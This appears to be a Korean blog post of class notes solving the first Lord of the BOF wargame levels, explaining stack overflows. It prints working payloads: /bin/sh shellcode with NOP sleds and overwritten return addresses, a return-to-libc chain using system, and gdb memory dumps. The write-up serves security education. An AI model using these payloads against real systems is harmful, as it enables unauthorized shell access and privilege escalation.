쉘코드 모음 : https://pwnable-study.tistory.com/44
첫 번째 문제인 gremlin
256바이트 배열 변수 사용
본래 gremlin 파일은 권한때문에 gdb로 실행불가
이 때 cp로 파일을 복사하여 복사한 파일로 gdb를 실행함
(gdb) r $(python -c 'print "\x41"*210 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*26 + "AAAA"')
=> gdb를 실행할 때 python으로 문자열을 반복하여 넣는다
\x41은 A
\x90은 NOP 코드를 의미한다
변수 크기가 256바이트이므로
A 210개, 쉘코드 24바이트, NOP 26개 = 260바이트로 EBP 영역까지 침범시켰고
그 뒤는 RET 복귀주소이므로, AAAA가 복귀주소에 침범하게 된다
두 번째 문제인 cogolt
16바이트 배열 변수 사용
배열 크기가 작기때문에 이전과 같이 쉘코드 (24바이트)를 배열에 넣을 수 없음
$ ./cobolt aaa
aaa
$ ./cobolt aaa bbb
aaa
=> 에러가 나지 않음 = 변수개수 제한이 없음
argv[2] 부터의 변수를 활용하여 쉘코드를 실행시킨다
사용한 코드:
./cobolt2 $(python -c 'print "\x90"*20 + "\x40\xfc\xff\xbf"') $(python -c 'print "\x90"*10 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
( 점프한 위치 : 0xbffffc40 )
세 번째 문제 : cobolt
small buffer + stdin
char buffer 크기는 16
이번 문제는 인수에 쉘코드를 넘겨줘도 인식하지 않는다
인수를 사용할 수 있는 문제는 strcpy 함수를 사용할 때.
cobolt는 stdin, gets 입력을 받는것.
입력을 받을 때는 | (파이프) 를 이용한다
일단 시스템 함수 주소 찾기
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
=> 시스템 함수 주소 : 0x40058ae0
c언어 코드로 /bin/sh의 주소를 찾는다
long addr = 0x40058ae0; // system 함수의 주소
while(memcmp((char *)addr, "/bin/sh", 8)){
++addr;
}
시스템 함수에서부터 증가시켜가면서 /bin/sh와 일치하는 것을 찾는다
아무튼 나온 주소 : 0x400fbff9
완성된 코드
(python -c 'print "A"*20 + "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40"'; cat) | ./goblin
| | | | └ 앞의 코드들을 묶어서 | 파이프에 넘긴다
| | | /bin/sh 주소
| | 아무거나
| 시스템함수주소
char[16] + ebp까지 20바이트
메모리 구조상으로 보면
char[16바이트] | EBP | RET | Argc | Argv |
+--------------20바이트-----------+-4바이트--+-4바이트-+-4바이트-+
System argv
AAAA /bin/sh
AAAA는 어떤 무엇이라도 상관없다. argc 자리인것은 중요하지 않다
함수를 call 할 때, 인수값 사이에 4바이트를 건너뛰게 된다
건너뛴 4바이트에는 원래 함수 호출완료 후 다시 돌아올 때를 위한 복귀주소를 담게 되는데, 공격코드에서 딱히 중요하지 않기 때문에...
void test(int a);
test(1);
간단하게 함수를 만들어서 테스트해보면
(gdb) x/4xw $esp
0xbffffb0c: 0xbffffb18 0x0804840a 0x00000001 0xbffffb38
call 함수 복귀주소 인수
이런식으로 스택에 쌓여있는 것을 확인할 수 있다
네 번째 문제 orc
egghunter
memset : 메모리를 특정 값으로 초기화시킬 수 있다
environ : 환경변수
if문을 보니 특정 인자값위치에 \xbf가 없으면 종료됨
실습예제 코드 #include <stdio.h> int main(int argc, char *argv[]) { while(*argv) { printf("%s \n", *argv); argv++; } return 0; } $ gcc -g -o argv argv.c $ gdb -q argv (gdb) b main (gdb) r AAA BBB CCC Starting program: /home/goblin/argv AAA BBB CCC Breakpoint 1, main (argc=4, argv=0xbffffb64) at argv.c:5 5 while(*argv) (gdb) x/16xw $esp 0xbffffb18: 0xbffffb38 0x400309cb 0x00000004 0xbffffb64 0xbffffb28: 0xbffffb78 0x40013868 0x00000004 0x08048320 0xbffffb38: 0x00000000 0x08048341 0x080483d0 0x00000004 0xbffffb48: 0xbffffb64 0x08048298 0x0804843c 0x4000ae60 (gdb) x/8xw 0xbffffb64 0xbffffb64: 0xbffffc5b 0xbffffc6d 0xbffffc71 0xbffffc75 0xbffffb74: 0x00000000 0xbffffc79 0xbffffc8a 0xbffffca3 (gdb) x/s 0xbffffc5b 0xbffffc5b: "/home/goblin/argv" (gdb) x/s 0xbffffc6d 0xbffffc6d: "AAA" (gdb) x/s 0xbffffc71 0xbffffc71: "BBB" (gdb) x/s 0xbffffc75 0xbffffc75: "CCC" argv가 어떤식으로 메모리에 들어가는지 확인할 수 있다 + 문자열의 끝은 항상 NUL문자 0x00이 들어가 있다 |
기초지식 진행하다가 수업끝낫다 ...
답은 이거였음
./orc `python -c 'print "A"*40+"BBBB"+"\x70\xf7\xff\xbf"+"\x90"*1000+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
'정보보안' 카테고리의 다른 글
정보보안3 7차시 (0) | 2024.06.22 |
---|---|
eggshell 추후 분석 (0) | 2024.06.22 |
정보보안3 5차시 (0) | 2024.06.15 |
버퍼오버플로우 복습 (0) | 2024.06.11 |
정보보안3 4차시 (0) | 2024.06.09 |